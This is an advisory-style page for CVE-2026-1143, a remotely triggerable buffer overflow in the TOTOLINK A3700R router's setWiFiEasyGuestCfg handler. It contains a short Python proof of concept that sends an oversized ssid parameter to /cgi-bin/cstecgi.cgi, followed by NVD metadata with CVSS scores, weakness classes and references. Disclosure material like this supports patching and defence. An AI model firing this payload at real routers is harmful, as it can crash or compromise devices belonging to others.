CVE-2026-1143

import requests # CVE-2026-1143 PoC - TOTOLINK A3700R Buffer Overflow # Target: TOTOLINK A3700R router # Endpoint: /cgi-bin/cstecgi.cgi # Vulnerable function: setWiFiEasyGuestCfg target_ip = "192.168.1.1" # Router IP target_port = 80 # Construct malicious payload with oversized ssid parameter # This triggers buffer overflow in setWiFiEasyGuestCfg function payload = { "topicurl": "setWiFiEasyGuestCfg", "ssid": "A" * 1000, # Oversized ssid to trigger overflow "encryption": "wpapsk", "password": "test1234", "enable": "1" } url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" try: response = requests.post(url, data=payload, timeout=10) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

{"cve": {"id": "CVE-2026-1143", "sourceIdentifier": "[email protected]", "published": "2026-01-19T07:16:22.667", "lastModified": "2026-01-29T18:31:16.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in TOTOLINK A3700R 9.1.2u.5822_B20200513. This affects the function setWiFiEasyGuestCfg of the file /cgi-bin/cstecgi.cgi. Executing a manipulation of the argument ssid can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una debilidad en TOTOLINK A3700R 9.1.2u.5822_B20200513. Esta afecta a la función setWiFiEasyGuestCfg del archivo /cgi-bin/cstecgi.cgi. La ejecución de una manipulación del argumento ssid puede conducir a un desbordamiento de búfer. El ataque puede lanzarse de forma remota. El exploit se ha puesto a disposición del público y podría usarse para ataques."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.5822_b20200513:*:*:*:*:*:*:*", "matchCriteriaId": "C3F5D7B3-9362-4A1F-A53C-8B7DA8CAFAA0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3700r:-:*:*:*:*:*:*:*", "matchCriteriaId": "05777EB4-0963-4317-AB0B-287A2140915D"}]}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/TOTOLINK-A3700R-setWiFiEasyGuestCfg-2e353a41781f8057a244ead07d5eaaff?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.341735", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.341735", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.735502", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}